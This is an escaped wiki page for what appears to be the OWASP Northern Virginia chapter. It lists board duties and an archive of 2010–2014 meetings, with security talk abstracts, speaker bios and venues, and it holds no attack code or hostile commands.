&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;   * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics&lt;br /&gt;
   * Recruiting OWASP membership&lt;br /&gt;
   * Driving OWASP NoVA Chapter attendance and involvement&lt;br /&gt;
   * Deferring to, facilitating, and supporting the activities and projects of chapter membership&lt;br /&gt;
   * Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions&lt;br /&gt;
   * Scouting, clearing, and scheduling chapter meeting venues and catering&lt;br /&gt;
   * Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations&lt;br /&gt;
   * Collecting and auditing use of chapter funds&lt;br /&gt;
   * Voting on chapter matters&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;amp;authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}&lt;br /&gt;
&lt;br /&gt;
You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter. &lt;br /&gt;
&lt;br /&gt;
=== Schedule  ===&lt;br /&gt;
&lt;br /&gt;
Meetings are (generally) held the first Thursday of the month.&lt;br /&gt;
&lt;br /&gt;
Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.  &lt;br /&gt;
&lt;br /&gt;
== Next Meeting  ==&lt;br /&gt;
&lt;br /&gt;
We'll post all meetings on the Meetup page below. &lt;br /&gt;
&lt;br /&gt;
We can also be contacted through the comment or messages systems on Meetup.&lt;br /&gt;
&lt;br /&gt;
For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past meetings ==&lt;br /&gt;
&lt;br /&gt;
===September 2014===&lt;br /&gt;
'''Date/Time:''' September 4th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
The World of Ruby on Rails Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===July 2014===&lt;br /&gt;
'''Date/Time:''' July 10th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
OAuth 1.0 Authorization and Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===February 2013===&lt;br /&gt;
'''Date/Time:''' February 7th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Jeffrey Walton - &amp;quot;Securing Wireless Channels in the Mobile Space&amp;quot;, [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Securing Wireless Channels in the Mobile Space&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).&lt;br /&gt;
&lt;br /&gt;
'''Downloads:'''&lt;br /&gt;
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===January 2013===&lt;br /&gt;
'''Date/Time:''' January 10th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Upcoming chapter elections and 2013 plans&lt;br /&gt;
 * Talk: &amp;quot;Automating (Some) Android Security Testing&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Automating (Some) Android Security Testing&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===October 2012===&lt;br /&gt;
'''Date/Time:''' October 4th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - &amp;quot;Benchmarking Web Application Scanners for YOUR Organization&amp;quot;, [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Benchmarking Web Application Scanners for YOUR Organization&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2012 ===&lt;br /&gt;
'''Date/Time:''' July 12th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - &amp;quot;Password Storage Security&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;Password Storage Security&amp;quot; [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix. &lt;br /&gt;
&lt;br /&gt;
To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]&lt;br /&gt;
&lt;br /&gt;
For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th (&amp;quot;Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!&amp;quot;): [https://www.coursera.org/course/crypto|Crypto Course] &lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
See  [https://www.owasp.org/index.php/John_Steven| John Steven Bio]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2012 ===&lt;br /&gt;
'''Date/Time:''' June 7th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Ken Johnson (LivingSocial) - &amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot; [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:&lt;br /&gt;
* Developing technical solutions to solving difficult challenges&lt;br /&gt;
* Remaining proactive with an increased workload&lt;br /&gt;
* What it means to innovate&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 &amp;amp; 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2012 ===&lt;br /&gt;
'''Date/Time:''' May 3rd, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * &amp;quot;Chill Out&amp;quot; conversations (formal talked pushed back due to logistical issues)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2012 ===&lt;br /&gt;
'''Date/Time:''' April 16th, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot; by Masha Khainson (Cigital)&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
 * ISSA NoVA Social @Champps!  :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.&lt;br /&gt;
&lt;br /&gt;
'''Bio'''&lt;br /&gt;
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.&lt;br /&gt;
&lt;br /&gt;
Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.&lt;br /&gt;
&lt;br /&gt;
Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2011 ===&lt;br /&gt;
'''Date/Time:''' November 3rd, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 # News / Updates&lt;br /&gt;
 # Talk: &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot; by Ryan Barnett (Trustwave SpiderLabs)&lt;br /&gt;
 # Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
How effective are blacklist filters vs. SQL Injection attacks?  What is the failure rate vs. automated scanning or manual testing?  Are there any &amp;quot;Time-to-Bypass&amp;quot; metrics?  In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community &amp;quot;SQL Injection Challenge&amp;quot; to test the effectiveness of the OWASP ModSecurity Core Rule Set protections.  This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2011 ===&lt;br /&gt;
'''Date/Time:''' October 6th, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166 &lt;br /&gt;
&lt;br /&gt;
'''AGENDA:'''&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * AppSec USA 2011 Recap&lt;br /&gt;
 * Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks &amp;quot;OWASP Top 10 Mobile Risks&amp;quot;]&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
=== September 2011 ===&lt;br /&gt;
&lt;br /&gt;
The September meeting was cancelled due to inclement weather (flash flooding).&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== August 2011  ===&lt;br /&gt;
&lt;br /&gt;
We held a &amp;quot;social&amp;quot; event at Sweetwater Tavern in Sterling, VA. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' July 7th, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166&amp;lt;br&amp;gt; '''Food Sponsor:'''&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: iGoat - Ken Van Wyk&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' The College Board&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 &amp;quot;Insecure Direct Object References&amp;quot;]&lt;br /&gt;
 * College Board Speaker: &amp;quot;Attack-in-Depth:  Exploits of the OWASP Top Ten in Action&amp;quot;&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 - Jack Mannino: &amp;quot;Android Security 101&amp;quot;&lt;br /&gt;
 - Others!&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' Akamai&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election (voice vote on the entire slate)&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 &amp;quot;Broken Authentication and Session Management&amp;quot;]&lt;br /&gt;
 * Speaker: Steve Witmer on A3 from the &amp;quot;breakers&amp;quot; perspective&lt;br /&gt;
 * Speaker: ??? on A3 from the &amp;quot;fixers/defenders&amp;quot; perspective&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 * '''Update:''' All election candidates were elected by voice vote. &lt;br /&gt;
    * Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;authkey=CIS9zFM '11 Chapter Board Election Material]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' April 7, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 &amp;lt;br&amp;gt; '''Food Sponsor:''' [https://www.cigital.com Cigital]&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 &amp;quot;Cross-Site Scripting (XSS)&amp;quot;]&lt;br /&gt;
 * Preso:&amp;quot;Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform&amp;quot; by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])&lt;br /&gt;
 * Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])&lt;br /&gt;
 * Preso:&amp;quot;Growing the secure application developer community through expanded curricula&amp;quot; by Tony Gottlieb&lt;br /&gt;
 * FireTalks (bring it!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== March 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' March 3, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 &amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review&lt;br /&gt;
  * Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 &amp;quot;Injection&amp;quot;]&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' February 3, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]&lt;br /&gt;
  * Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== December 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' December 2, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
   * 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)&lt;br /&gt;
  * Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)&lt;br /&gt;
  * Social / Networking (BYOB!)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' November 4, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA&amp;lt;br&amp;gt; '''Speaker:''' Ben Tomhave&amp;lt;br&amp;gt; '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform&amp;lt;br&amp;gt; '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.&amp;lt;br&amp;gt; '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/&amp;lt;br&amp;gt; '''TOPIC''': Risk Management - Time to blow it up and start over?&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. &amp;quot;Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''SPECIAL SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group]. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2010  ===&lt;br /&gt;
&lt;br /&gt;
